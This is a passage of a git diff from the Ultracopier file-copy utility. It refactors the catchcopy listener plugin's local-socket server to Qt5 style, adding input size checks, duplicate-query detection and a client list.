+ in.setVersion(QDataStream::Qt_4_4);
+ in >> orderId;
+ in >> returnList;
+ clientList[index].data.clear();
+ clientList[index].haveData=false;
+ if(clientList.at(index).queryNoReplied.contains(orderId))
+ {
+ emit communicationError("Duplicate query id");
+ qWarning() << "Duplicate query id";
+ return;
+ }
+ clientList[index].queryNoReplied << orderId;
+ if(!clientList.at(index).firstProtocolReplied && returnList.size()==2 && returnList.first()=="protocol")
+ {
+ clientList[index].firstProtocolReplied=true;
+ protocolSupported(clientList.at(index).id,orderId,(returnList.last()==CATCHCOPY_PROTOCOL_VERSION));
+ }
+ else
+ parseInput(clientList.at(index).id,orderId,returnList);
+ }
+ }
+ if(clientList.at(index).haveData)
+ clientList.at(index).detectTimeOut->start();
+ else
+ clientList.at(index).detectTimeOut->stop();
+ return;
+ }
+ index++;
+ }
+ emit error("Unallocated client!");
+ qWarning() << "Unallocated client!";
+}
+
+bool ServerCatchcopy::checkDataIntegrity(const QByteArray &data)
+{
+ quint32 orderId;
+ qint32 listSize;
+ QDataStream in(data);
+ in.setVersion(QDataStream::Qt_4_4);
+ in >> orderId;
+ in >> listSize;
+ if(listSize>65535)
+ {
+ emit error("List size is wrong");
+ qWarning() << "List size is wrong";
+ return false;
+ }
+ int index=0;
+ while(index<listSize)
+ {
+ qint32 stringSize;
+ in >> stringSize;
+ if(stringSize>65535)
+ {
+ emit error("String size is wrong");
+ return false;
+ }
+ if(stringSize>(in.device()->size()-in.device()->pos()))
+ {
+ emit error(QStringLiteral("String size is greater than the data: %1>(%2-%3)").arg(stringSize).arg(in.device()->size()).arg(in.device()->pos()));
+ return false;
+ }
+ in.device()->seek(in.device()->pos()+stringSize);
+ index++;
+ }
+ if(in.device()->size()!=in.device()->pos())
+ {
+ emit error("Remaining data after string list parsing");
+ return false;
+ }
+ return true;
+}
+
+void ServerCatchcopy::parseInput(const quint32 &client,const quint32 &orderId,const QStringList &returnList)
+{
+ const ServerCatchcopy::inputReturnType returnVal=parseInputCurrentProtocol(client,orderId,returnList);
+ switch(returnVal)
+ {
+ case Ok:
+ emit newQuery(client,orderId,returnList);
+ break;
+ case Replied:
+ break;
+ case ExtensionWrong:
+ //protocolExtensionSupported(client,orderId,false);
+ break;
+ case WrongArgument:
+ incorrectArgument(client,orderId);
+ break;
+ case WrongArgumentListSize:
+ incorrectArgumentListSize(client,orderId);
+ break;
+ case UnknowOrder:
+ emit error("Unknown query: "+QString::number(returnVal)+", with client: "+QString::number(client)+", orderId: "+QString::number(orderId)+", returnList: "+returnList.join(", "));
+ qWarning() << "Unknown query";
+ unknowOrder(client,orderId);
+ break;
+ }
+}
+
+ServerCatchcopy::inputReturnType ServerCatchcopy::parseInputCurrentProtocol(const quint32 &client,const quint32 &orderId,const QStringList &returnList)
+{
+ if(returnList.size()==0)
+ return WrongArgumentListSize;
+ //if is supported
+ QString firstArgument=returnList.first();
+ if(firstArgument=="protocol")
+ {
+ if(returnList.size()!=2)
+ return WrongArgumentListSize;
+ emit askProtocolCompatibility(client,orderId,returnList.last());
+ return Ok;
+ }
+ else if(firstArgument=="protocol extension")
+ {
+ if(returnList.size()>3 || returnList.size()<2)
+ return WrongArgumentListSize;
+ return ExtensionWrong;
+ }
+ else if(firstArgument=="client")
+ {
+ if(returnList.size()!=2)
+ return WrongArgumentListSize;
+ int index=0;
+ int size=clientList.size();
+ while(index<size)
+ {
+ if(clientList.at(index).id==client)
+ {
+ clientList[index].name=returnList.last();
+ break;
+ }
+ index++;
+ }
+ emit clientName(client,returnList.last());
+ clientRegistered(client,orderId);
+ return Replied;
+ }
+ else if(firstArgument=="server")
+ {
+ if(returnList.size()!=2)
+ return WrongArgumentListSize;
+ if(returnList.last()!="name?")
+ return WrongArgument;
+ serverName(client,orderId,name);
+ return Replied;
+ }
+ else if(firstArgument=="cp")
+ {
+ if(returnList.size()<3)
+ return WrongArgumentListSize;
+ QStringList sourceList=returnList;
+ sourceList.removeFirst();
+ sourceList.removeLast();
+ emitNewCopy(client,orderId,sourceList,returnList.last());
+ return Ok;
+ }
+ else if(firstArgument=="cp-?")
+ {
+ if(returnList.size()<2)
+ return WrongArgumentListSize;
+ QStringList sourceList=returnList;
+ sourceList.removeFirst();
+ emitNewCopyWithoutDestination(client,orderId,sourceList);
+ return Ok;
+ }
+ else if(firstArgument=="mv")
+ {
+ if(returnList.size()<3)
+ return WrongArgumentListSize;
+ QStringList sourceList=returnList;
+ sourceList.removeFirst();
+ sourceList.removeLast();
+ emitNewMove(client,orderId,sourceList,returnList.last());
+ return Ok;
+ }
+ else if(firstArgument=="mv-?")
+ {
+ if(returnList.size()<2)
+ return WrongArgumentListSize;
+ QStringList sourceList=returnList;
+ sourceList.removeFirst();
+ emitNewMoveWithoutDestination(client,orderId,sourceList);
+ return Ok;
+ }
+ else //if is not supported
+ return UnknowOrder;
+}
+
+void ServerCatchcopy::emitNewCopyWithoutDestination(const quint32 &client,const quint32 &orderId,const QStringList &sources)
+{
+ LinkGlobalToLocalClient newAssociation;
+ newAssociation.idClient=client;
+ newAssociation.orderId=orderId;
+ newAssociation.globalOrderId=incrementOrderId();
+ LinkGlobalToLocalClientList << newAssociation;
+ emit newCopyWithoutDestination(newAssociation.globalOrderId,sources);
+}
+
+void ServerCatchcopy::emitNewCopy(const quint32 &client,const quint32 &orderId,const QStringList &sources,const QString &destination)
+{
+ LinkGlobalToLocalClient newAssociation;
+ newAssociation.idClient=client;
+ newAssociation.orderId=orderId;
+ newAssociation.globalOrderId=incrementOrderId();
+ LinkGlobalToLocalClientList << newAssociation;
+ emit newCopy(newAssociation.globalOrderId,sources,destination);
+}
+
+void ServerCatchcopy::emitNewMoveWithoutDestination(const quint32 &client,const quint32 &orderId,const QStringList &sources)
+{
+ LinkGlobalToLocalClient newAssociation;
+ newAssociation.idClient=client;
+ newAssociation.orderId=orderId;
+ newAssociation.globalOrderId=incrementOrderId();
+ LinkGlobalToLocalClientList << newAssociation;
+ emit newMoveWithoutDestination(newAssociation.globalOrderId,sources);
+}
+
+void ServerCatchcopy::emitNewMove(const quint32 &client,const quint32 &orderId,const QStringList &sources,const QString &destination)
+{
+ LinkGlobalToLocalClient newAssociation;
+ newAssociation.idClient=client;
+ newAssociation.orderId=orderId;
+ newAssociation.globalOrderId=incrementOrderId();
+ LinkGlobalToLocalClientList << newAssociation;
+ emit newMove(newAssociation.globalOrderId,sources,destination);
+}
+
+void ServerCatchcopy::copyFinished(const quint32 &globalOrderId,const bool &withError)
+{
+ int index=0;
+ while(index<LinkGlobalToLocalClientList.size())
+ {
+ if(LinkGlobalToLocalClientList.at(index).globalOrderId==globalOrderId)
+ {
+ copyFinished(LinkGlobalToLocalClientList.at(index).idClient,LinkGlobalToLocalClientList.at(index).orderId,withError);
+ LinkGlobalToLocalClientList.removeAt(index);
+ orderList.removeOne(globalOrderId);
+ return;
+ }
+ index++;
+ }
+}
+
+void ServerCatchcopy::copyCanceled(const quint32 &globalOrderId)
+{
+ int index=0;
+ while(index<LinkGlobalToLocalClientList.size())
+ {
+ if(LinkGlobalToLocalClientList.at(index).globalOrderId==globalOrderId)
+ {
+ copyCanceled(LinkGlobalToLocalClientList.at(index).idClient,LinkGlobalToLocalClientList.at(index).orderId);
+ LinkGlobalToLocalClientList.removeAt(index);
+ orderList.removeOne(globalOrderId);
+ return;
+ }
+ index++;
+ }
+}
+
+void ServerCatchcopy::reply(const quint32 &client,const quint32 &orderId,const quint32 &returnCode,const QString &returnString)
+{
+ reply(client,orderId,returnCode,QStringList() << returnString);
+}
+
+void ServerCatchcopy::reply(const quint32 &client,const quint32 &orderId,const quint32 &returnCode,const QStringList &returnList)
+{
+ int index=0;
+ while(index<clientList.size())
+ {
+ if(clientList.at(index).id==client)
+ {
+ if(clientList.at(index).socket->isValid() && clientList.at(index).socket->state()==QLocalSocket::ConnectedState)
+ {
+ if(!clientList.at(index).queryNoReplied.contains(orderId))
+ {
+ qWarning() << "Reply to missing query or previously replied";
+ return;
+ }
+ clientList[index].queryNoReplied.removeOne(orderId);
+ //cut string list and send it as block of 32KB
+ QByteArray block;
+ QDataStream out(&block, QIODevice::WriteOnly);
+ out.setVersion(QDataStream::Qt_4_4);
+ out << int(0);
+ out << orderId;
+ out << returnCode;
+ out << returnList;
+ out.device()->seek(0);
+ out << block.size();
+ do
+ {
+ QByteArray blockToSend;
+ int byteWriten;
+ blockToSend=block.left(32*1024);//32KB
+ block.remove(0,blockToSend.size());
+ byteWriten = clientList[index].socket->write(blockToSend);
+ if(!clientList[index].socket->isValid())
+ {
+ error_string="Socket is not valid";
+ emit error(error_string);
+ return;
+ }
+ if(clientList[index].socket->error()!=QLocalSocket::UnknownSocketError && clientList[index].socket->error()!=QLocalSocket::PeerClosedError)
+ {
+ error_string="Error with socket: "+clientList[index].socket->errorString();
+ emit error(error_string);
+ return;
+ }
+ if(blockToSend.size()!=byteWriten)
+ {
+ error_string="All the bytes have not be written";
+ emit error(error_string);
+ return;
+ }
+ }
+ while(block.size());
+ }
+ else
+ {
+ error_string="Socket is not valid or not connected";
+ emit error(error_string);
+ }
+ return;
+ }
+ index++;
+ }
+ qWarning() << "Client id not found:" << client;
+}
-void ServerCatchcopy::protocolSupported(quint32 client,quint32 orderId,bool value)
-{
- if(value)
- reply(client,orderId,1000,"protocol supported");
- else
- reply(client,orderId,5003,"protocol not supported");
+void ServerCatchcopy::protocolSupported(const quint32 &client,const quint32 &orderId,const bool &value)
+{
+ if(value)
+ reply(client,orderId,1000,"protocol supported");
+ else
+ reply(client,orderId,5003,"protocol not supported");
}
-void ServerCatchcopy::incorrectArgumentListSize(quint32 client,quint32 orderId)
+void ServerCatchcopy::incorrectArgumentListSize(const quint32 &client,const quint32 &orderId)
{
- reply(client,orderId,5000,"incorrect argument list size");
+ reply(client,orderId,5000,"incorrect argument list size");
}
-void ServerCatchcopy::incorrectArgument(quint32 client,quint32 orderId)
+void ServerCatchcopy::incorrectArgument(const quint32 &client,const quint32 &orderId)
{
- reply(client,orderId,5001,"incorrect argument");
+ reply(client,orderId,5001,"incorrect argument");
}
-void ServerCatchcopy::protocolExtensionSupported(quint32 client,quint32 orderId,bool value)
+void ServerCatchcopy::clientRegistered(const quint32 &client,const quint32 &orderId)
{
- if(value)
- reply(client,orderId,1001,"protocol extension supported");
- else
- reply(client,orderId,1002,"protocol extension not supported");
+ reply(client,orderId,1003,"client registered");
}
-void ServerCatchcopy::clientRegistered(quint32 client,quint32 orderId)
+void ServerCatchcopy::serverName(const quint32 &client,const quint32 &orderId,const QString &name)
{
- reply(client,orderId,1003,"client registered");
+ reply(client,orderId,1004,name);
}
-void ServerCatchcopy::serverName(quint32 client,quint32 orderId,QString name)
+void ServerCatchcopy::copyFinished(const quint32 &client,const quint32 &orderId,const bool &withError)
{
- reply(client,orderId,1004,name);
+ if(!withError)
+ reply(client,orderId,1005,"finished");
+ else
+ reply(client,orderId,1006,"finished with error(s)");
}
-void ServerCatchcopy::copyFinished(quint32 client,quint32 orderId,bool withError)
-{
- if(!withError)
- reply(client,orderId,1005,"finished");
- else
- reply(client,orderId,1006,"finished with error(s)");
-}
-
-void ServerCatchcopy::copyCanceled(quint32 client,quint32 orderId)
-{
- reply(client,orderId,1007,"canceled");
+void ServerCatchcopy::copyCanceled(const quint32 &client,const quint32 &orderId)
+{
+ reply(client,orderId,1007,"canceled");
}
-void ServerCatchcopy::unknowOrder(quint32 client,quint32 orderId)
+void ServerCatchcopy::unknowOrder(const quint32 &client,const quint32 &orderId)
{
- reply(client,orderId,5002,"unknown order");
+ reply(client,orderId,5002,"unknown order");
}
void ServerCatchcopy::checkTimeOut()
{
- QTimer *timer=qobject_cast<QTimer *>(QObject::sender());
- if(timer==NULL)
- {
- qWarning() << "Unallocated client timer!";
- return;
- }
- int index=0;
- while(index<ClientList.size())
- {
- if(ClientList.at(index).detectTimeOut==timer)
- {
- ClientList.at(index).detectTimeOut->stop();
- if(ClientList.at(index).haveData)
- {
- error_string="The client is too long to send the next part of the reply: "+ClientList.at(index).data;
- ClientList[index].haveData=false;
- ClientList[index].data.clear();
- ClientList.at(index).socket->disconnectFromServer();
- emit error(error_string);
- }
- return;
- }
- index++;
- }
+ QTimer *timer=qobject_cast<QTimer *>(QObject::sender());
+ if(timer==NULL)
+ {
+ qWarning() << "Unallocated client timer!";
+ return;
+ }
+ int index=0;
+ while(index<clientList.size())
+ {
+ if(clientList.at(index).detectTimeOut==timer)
+ {
+ clientList.at(index).detectTimeOut->stop();
+ if(clientList.at(index).haveData)
+ {
+ error_string="The client is too long to send the next part of the reply: "+clientList.at(index).data;
+ clientList[index].haveData=false;
+ clientList[index].data.clear();
+ clientList.at(index).socket->disconnectFromServer();
+ emit error(error_string);
+ }
+ return;
+ }
+ index++;
+ }
}
quint32 ServerCatchcopy::incrementOrderId()
{
- do
- {
- nextOrderId++;
- if(nextOrderId>2000000)
- nextOrderId=0;
- } while(orderList.contains(nextOrderId));
- return nextOrderId;
+ do
+ {
+ nextOrderId++;
+ if(nextOrderId>2000000)
+ nextOrderId=0;
+ } while(orderList.contains(nextOrderId));
+ return nextOrderId;
}
diff --git a/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ServerCatchcopy.h b/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ServerCatchcopy.h
index 5f7af35..1314d73 100755..100644
--- a/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ServerCatchcopy.h
+++ b/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ServerCatchcopy.h
@@ -1,8 +1,7 @@
/** \file ServerCatchcopy.h
\brief Define the server of catchcopy
\author alpha_one_x86
-\version 0002
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef SERVERCATCHCOPY_H
#define SERVERCATCHCOPY_H
@@ -18,145 +17,128 @@
/// \brief Define the server of catchcopy
class ServerCatchcopy : public QObject
{
- Q_OBJECT
- public:
- ServerCatchcopy();
- ~ServerCatchcopy();
- /// \brief return if is listening
- bool isListening();
- /// \brief try listen
- bool listen();
- /// \brief try close the server
- void close();
- /// \brief get the error string on the QLocalServer
- const QString errorStringServer();
- /// \brief get the general error string
- const QString errorString();
- /// \brief set if automatic reply is used
- void setAutoReply(bool value);
- /// \brief get if autoReply is set
- bool getAutoReply();
- /// \brief set the name of the server
- void setName(const QString & name);
- /// \brief get the name
- QString getName();
- private:
- QString pathSocket;
- QString name;
- QString error_string;
- QLocalServer server;
- quint32 idNextClient;
- struct Client
- {
- quint32 id;
- QLocalSocket *socket;
- QByteArray data;
- bool haveData;
- quint32 dataSize;
- bool firstProtocolReplied;
- QList<quint32> queryNoReplied;
- QTimer *detectTimeOut;
- };
- QList<Client> ClientList;
- struct LinkGlobalToLocalClient
- {
- quint32 idClient;
- quint32 orderId;
- quint32 globalOrderId;
- };
- QList<LinkGlobalToLocalClient> LinkGlobalToLocalClientList;
- enum inputReturnType{Ok,Replied,ExtensionWrong,WrongArgument,WrongArgumentListSize,UnknowOrder};
- inputReturnType parseInputCurrentProtocol(quint32 client,quint32 orderId,QStringList returnList);
- bool autoReply;
- bool clientIdFound(quint32 id);
- quint32 nextOrderId;
- QList<quint32> orderList;
- quint32 incrementOrderId();
- void emitNewCopy(quint32 client,quint32 orderId,QStringList sources);
- void emitNewCopy(quint32 client,quint32 orderId,QStringList sources,QString destination);
- void emitNewMove(quint32 client,quint32 orderId,QStringList sources);
- void emitNewMove(quint32 client,quint32 orderId,QStringList sources,QString destination);
- bool checkDataIntegrity(QByteArray data);
- protected:
- void parseInput(quint32 client,quint32 orderId,QStringList returnList);
- private slots:
- void newConnection();
- void connectionError(QLocalSocket::LocalSocketError error);
- void disconnected();
- void readyRead();
- void checkTimeOut();
- public slots:
- /// \brief disconnect one client
- void disconnectClient(quint32 id);
- /// \brief reply to a client with QStringList
- void reply(quint32 client,quint32 orderId,quint32 returnCode,QStringList returnList);
- /// \brief reply to a client
- void reply(quint32 client,quint32 orderId,quint32 returnCode,QString returnString);
- //reply
- /// \brief send if the protocol is supported
- void protocolSupported(quint32 client,quint32 orderId,bool value);
- /// \brief send incorrect arguement list size
- void incorrectArgumentListSize(quint32 client,quint32 orderId);
- /// \brief send incorrect arguement
- void incorrectArgument(quint32 client,quint32 orderId);
- /// \brief send if protocol extension is supported
- void protocolExtensionSupported(quint32 client,quint32 orderId,bool value);
- /// \brief the client is registred
- void clientRegistered(quint32 client,quint32 orderId);
- /// \brief send the server name
- void serverName(quint32 client,quint32 orderId,QString name);
- /// \brief send the copy is finished
- void copyFinished(quint32 client,quint32 orderId,bool withError);
- /// \brief send the copy is canceled
- void copyCanceled(quint32 client,quint32 orderId);
- /// \brief send the copy is finished by global is order
- void copyFinished(quint32 globalOrderId,bool withError);
- /// \brief send copy cancel by global is order
- void copyCanceled(quint32 globalOrderId);
- /// \brief send the unknow order
- void unknowOrder(quint32 client,quint32 orderId);
- signals:
- /// \brief send connected client
- void connectedClient(quint32 id);
- /// \brief send disconnect client
- void disconnectedClient(quint32 id);
- /// \brief have new query
- void newQuery(quint32 client,quint32 orderId,QStringList returnList);
- /// \brief send new data as string list
- void dataSend(quint32 client,quint32 orderId,quint32 returnCode,QStringList returnList);
- /// \brief send new data as raw data
- void dataSend(quint32 client,quint32 orderId,quint32 returnCode,QByteArray block);
- /// \brief have new error
- void error(QString error);
- //query
- /// \brief ask the protocol compatility
- void askProtocolCompatibility(quint32 client,quint32 orderId,QString version);
- /// \brief ask protocol extension
- void askProtocolExtension(quint32 client,quint32 orderId,QString extension);
- /// \brief ask protocol extension with version
- void askProtocolExtension(quint32 client,quint32 orderId,QString extension,QString version);
- /// \brief send the client name, with query id
- void clientName(quint32 client,quint32 orderId,QString name);
- /// \brief send the client name, without query id
- void clientName(quint32 client,QString name);
- /// \brief send the client have ask the server name
- void askServerName(quint32 client,quint32 orderId);
- /// \brief copy is send, without destination
- void newCopy(quint32 client,quint32 orderId,QStringList sources);
- /// \brief copy is send, with destination
- void newCopy(quint32 client,quint32 orderId,QStringList sources,QString destination);
- /// \brief move is send, without destination
- void newMove(quint32 client,quint32 orderId,QStringList sources);
- /// \brief move is send, with destination
- void newMove(quint32 client,quint32 orderId,QStringList sources,QString destination);
- /// \brief copy is send, by globalOrderId, without destination
- void newCopy(quint32 globalOrderId,QStringList sources);
- /// \brief copy is send, by globalOrderId, with destination
- void newCopy(quint32 globalOrderId,QStringList sources,QString destination);
- /// \brief move is send, by globalOrderId, without destination
- void newMove(quint32 globalOrderId,QStringList sources);
- /// \brief move is send, by globalOrderId, with destination
- void newMove(quint32 globalOrderId,QStringList sources,QString destination);
+ Q_OBJECT
+ public:
+ ServerCatchcopy();
+ ~ServerCatchcopy();
+ /// \brief return if is listening
+ bool isListening() const;
+ /// \brief try listen
+ bool listen();
+ /// \brief try close the server
+ void close();
+ /// \brief get the error string on the QLocalServer
+ const QString errorStringServer() const;
+ /// \brief get the general error string
+ const QString errorString() const;
+ /// \brief set the name of the server
+ void setName(const QString & name);
+ /// \brief get the name
+ QString getName() const;
+ /// \brief to get a client list
+ QStringList clientsList() const;
+ private:
+ QString pathSocket;
+ QString name;
+ QString error_string;
+ QLocalServer server;
+ quint32 idNextClient;
+ struct Client
+ {
+ quint32 id;
+ QLocalSocket *socket;
+ QByteArray data;
+ bool haveData;
+ quint32 dataSize;
+ bool firstProtocolReplied;
+ QList<quint32> queryNoReplied;
+ QTimer *detectTimeOut;
+ QString name;
+ };
+ QList<Client> clientList;
+ struct LinkGlobalToLocalClient
+ {
+ quint32 idClient;
+ quint32 orderId;
+ quint32 globalOrderId;
+ };
+ QList<LinkGlobalToLocalClient> LinkGlobalToLocalClientList;
+ enum inputReturnType{Ok,Replied,ExtensionWrong,WrongArgument,WrongArgumentListSize,UnknowOrder};
+ inputReturnType parseInputCurrentProtocol(const quint32 &client,const quint32 &orderId,const QStringList &returnList);
+ bool clientIdFound(const quint32 &id) const;
+ quint32 nextOrderId;
+ QList<quint32> orderList;
+ quint32 incrementOrderId();
+ void emitNewCopyWithoutDestination(const quint32 &client,const quint32 &orderId,const QStringList &sources);
+ void emitNewCopy(const quint32 &client,const quint32 &orderId,const QStringList &sources,const QString &destination);
+ void emitNewMoveWithoutDestination(const quint32 &client,const quint32 &orderId,const QStringList &sources);
+ void emitNewMove(const quint32 &client,const quint32 &orderId,const QStringList &sources,const QString &destination);
+ bool checkDataIntegrity(const QByteArray &data);
+ protected:
+ void parseInput(const quint32 &client,const quint32 &orderId,const QStringList &returnList);
+ private slots:
+ void newConnection();
+ void connectionError(const QLocalSocket::LocalSocketError &error);
+ void disconnected();
+ void readyRead();
+ void checkTimeOut();
+ public slots:
+ /// \brief disconnect one client
+ void disconnectClient(const quint32 &id);
+ /// \brief reply to a client with QStringList
+ void reply(const quint32 &client,const quint32 &orderId,const quint32 &returnCode,const QStringList &returnList);
+ /// \brief reply to a client
+ void reply(const quint32 &client,const quint32 &orderId,const quint32 &returnCode,const QString &returnString);
+ //reply
+ /// \brief send if the protocol is supported
+ void protocolSupported(const quint32 &client,const quint32 &orderId,const bool &value);
+ /// \brief send incorrect arguement list size
+ void incorrectArgumentListSize(const quint32 &client,const quint32 &orderId);
+ /// \brief send incorrect arguement
+ void incorrectArgument(const quint32 &client,const quint32 &orderId);
+ /// \brief the client is registred
+ void clientRegistered(const quint32 &client,const quint32 &orderId);
+ /// \brief send the server name
+ void serverName(const quint32 &client,const quint32 &orderId,const QString &name);
+ /// \brief send the copy is finished
+ void copyFinished(const quint32 &client,const quint32 &orderId,const bool &withError);
+ /// \brief send the copy is canceled
+ void copyCanceled(const quint32 &client,const quint32 &orderId);
+ /// \brief send the copy is finished by global is order
+ void copyFinished(const quint32 &globalOrderId,const bool &withError);
+ /// \brief send copy cancel by global is order
+ void copyCanceled(const quint32 &globalOrderId);
+ /// \brief send the unknow order
+ void unknowOrder(const quint32 &client,const quint32 &orderId);
+ signals:
+ /// \brief send connected client
+ void connectedClient(const quint32 &id);
+ /// \brief send disconnect client
+ void disconnectedClient(const quint32 &id);
+ /// \brief have new query
+ void newQuery(const quint32 &client,const quint32 &orderId,const QStringList &returnList);
+ /// \brief have new error
+ void error(const QString &error);
+ void communicationError(const QString &error);
+ //query
+ /// \brief ask the protocol compatility
+ void askProtocolCompatibility(const quint32 &client,const quint32 &orderId,const QString &version);
+ /// \brief ask protocol extension
+ void askProtocolExtension(const quint32 &client,const quint32 &orderId,const QString &extension);
+ /// \brief ask protocol extension with version
+ void askProtocolExtension(const quint32 &client,const quint32 &orderId,const QString &extension,const QString &version);
+ /// \brief send the client name, without query id
+ void clientName(const quint32 &client,const QString &name);
+ /// \brief send the client have ask the server name
+ void askServerName(const quint32 &client,const quint32 &orderId);
+ /// \brief copy is send, by globalOrderId, without destination
+ void newCopyWithoutDestination(const quint32 &globalOrderId,const QStringList &sources);
+ /// \brief copy is send, by globalOrderId, with destination
+ void newCopy(const quint32 &globalOrderId,const QStringList &sources,const QString &destination);
+ /// \brief move is send, by globalOrderId, without destination
+ void newMoveWithoutDestination(const quint32 &globalOrderId,const QStringList &sources);
+ /// \brief move is send, by globalOrderId, with destination
+ void newMove(const quint32 &globalOrderId,const QStringList &sources,const QString &destination);
};
#endif // SERVERCATCHCOPY_H
diff --git a/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/VariablesCatchcopy.h b/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/VariablesCatchcopy.h
index ce73aee..135c087 100755..100644
--- a/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/VariablesCatchcopy.h
+++ b/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/VariablesCatchcopy.h
@@ -1,8 +1,7 @@
/** \file VariablesCatchcopy.h
\brief Define the variable for catchcopy
\author alpha_one_x86
-\version 0002
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef VARIABLECATCHCOPY_H
#define VARIABLECATCHCOPY_H
diff --git a/plugins/Listener/catchcopy-v0002/documentation.dox b/plugins/Listener/catchcopy-v0002/documentation.dox
index a15792a..b143ecc 100755..100644
--- a/plugins/Listener/catchcopy-v0002/documentation.dox
+++ b/plugins/Listener/catchcopy-v0002/documentation.dox
@@ -11,12 +11,12 @@
\section mainpage_overview Overview
Is the default listener to wait a copy/move. It use the catchcopy protocol.\n
- More informations on <a href="http://ultracopier-wiki.first-world.info/">the wiki of ultracopier</a>. Is part of Ultracopier 0.3 project.
+ More informations on <a href="http://ultracopier-wiki.first-world.info/">the wiki of ultracopier</a>.
\section mainpage_platforms Platforms
- This plugin might be usable in all environments where you find Qt 4.\n
- To be compatible with the official Ultracopier plugins, you need compil it with Gcc, Qt4.8, and same env as Ultracopier have been compiled, see the documentation.
+ Ultracopier might be usable in all environments where you find Qt 5.\n
+ Ultracopier requires Qt 5.0 or newer. Tested on Qt 5.0.
\section mainpage_downloads Downloads
diff --git a/plugins/Listener/catchcopy-v0002/informations.xml b/plugins/Listener/catchcopy-v0002/informations.xml
index e465da8..bc0efc6 100644
--- a/plugins/Listener/catchcopy-v0002/informations.xml
+++ b/plugins/Listener/catchcopy-v0002/informations.xml
@@ -17,11 +17,10 @@
<description xml:lang="en"><![CDATA[Listener for catchcopy v0002. Allow to receive copy list from plugin/explorer compatible with catchcopy.]]></description>
<description xml:lang="fr"><![CDATA[Écouteur pour catchcopy v0002. Permet de recevoir un liste de copie venant d'un plugin/explorateur avec catchcopy.]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.1.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>catchcopy-v0002</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- >=ultracopier-0.3.1.0
]]></dependencies>
</package> \ No newline at end of file
diff --git a/plugins/Listener/catchcopy-v0002/listener.cpp b/plugins/Listener/catchcopy-v0002/listener.cpp
index 51f204e..55c254b 100755..100644
--- a/plugins/Listener/catchcopy-v0002/listener.cpp
+++ b/plugins/Listener/catchcopy-v0002/listener.cpp
@@ -1,83 +1,118 @@
-#include <QtCore>
-#include <QMessageBox>
-
#include "listener.h"
+#include "catchcopy-api-0002/ExtraSocketCatchcopy.h"
-CatchCopyPlugin::CatchCopyPlugin()
+Listener::Listener()
{
- server.setName(tr("Ultracopier"));
- connect(&server,SIGNAL(newCopy(quint32,QStringList)), this,SIGNAL(newCopy(quint32,QStringList)));
- connect(&server,SIGNAL(newCopy(quint32,QStringList,QString)), this,SIGNAL(newCopy(quint32,QStringList,QString)));
- connect(&server,SIGNAL(newMove(quint32,QStringList)), this,SIGNAL(newMove(quint32,QStringList)));
- connect(&server,SIGNAL(newMove(quint32,QStringList,QString)), this,SIGNAL(newMove(quint32,QStringList,QString)));
- connect(&server,SIGNAL(error(QString)), this,SLOT(error(QString)));
- connect(&server,SIGNAL(clientName(quint32,QString)), this,SLOT(clientName(quint32,QString)));
+ server.setName(tr("Ultracopier"));
+ connect(&server,&ServerCatchcopy::newCopyWithoutDestination, this,&Listener::copyWithoutDestination);
+ connect(&server,&ServerCatchcopy::newCopy, this,&Listener::copy);
+ connect(&server,&ServerCatchcopy::newMoveWithoutDestination, this,&Listener::moveWithoutDestination);
+ connect(&server,&ServerCatchcopy::newMove, this,&Listener::move);
+ connect(&server,&ServerCatchcopy::error, this,&Listener::errorInternal);
+ connect(&server,&ServerCatchcopy::communicationError, this,&Listener::communicationErrorInternal);
+ connect(&server,&ServerCatchcopy::clientName, this,&Listener::clientName);
+ connect(&server,&ServerCatchcopy::clientName, this,&Listener::newClientList);
+ connect(&server,&ServerCatchcopy::connectedClient, this,&Listener::newClientList);
+ connect(&server,&ServerCatchcopy::disconnectedClient, this,&Listener::newClientList);
+
}
-void CatchCopyPlugin::listen()
+void Listener::listen()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- if(server.listen())
- emit newState(FullListening);
- else
- emit newState(NotListening);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start: %1").arg(ExtraSocketCatchcopy::pathSocket()));
+ if(server.listen())
+ emit newState(Ultracopier::FullListening);
+ else
+ emit newState(Ultracopier::NotListening);
}
-void CatchCopyPlugin::close()
+void Listener::close()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- server.close();
- emit newState(NotListening);
+ server.close();
+ emit newState(Ultracopier::NotListening);
}
-const QString CatchCopyPlugin::errorString()
+const QString Listener::errorString() const
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- return server.errorString();
+ return server.errorString();
}
-void CatchCopyPlugin::setResources(OptionInterface * options,QString writePath,QString pluginPath,bool portableVersion)
+void Listener::setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,const bool &portableVersion)
{
- Q_UNUSED(options);
- Q_UNUSED(writePath);
- Q_UNUSED(pluginPath);
- Q_UNUSED(portableVersion);
+ Q_UNUSED(options);
+ Q_UNUSED(writePath);
+ Q_UNUSED(pluginPath);
+ Q_UNUSED(portableVersion);
}
/// \brief to get the options widget, NULL if not have
-QWidget * CatchCopyPlugin::options()
+QWidget * Listener::options()
{
- return NULL;
+ return NULL;
}
-Q_EXPORT_PLUGIN2(listener, CatchCopyPlugin);
+/// \brief to get a client list
+QStringList Listener::clientsList() const
+{
+ return server.clientsList();
+}
-void CatchCopyPlugin::transferFinished(quint32 orderId,bool withError)
+void Listener::transferFinished(const quint32 &orderId,const bool &withError)
{
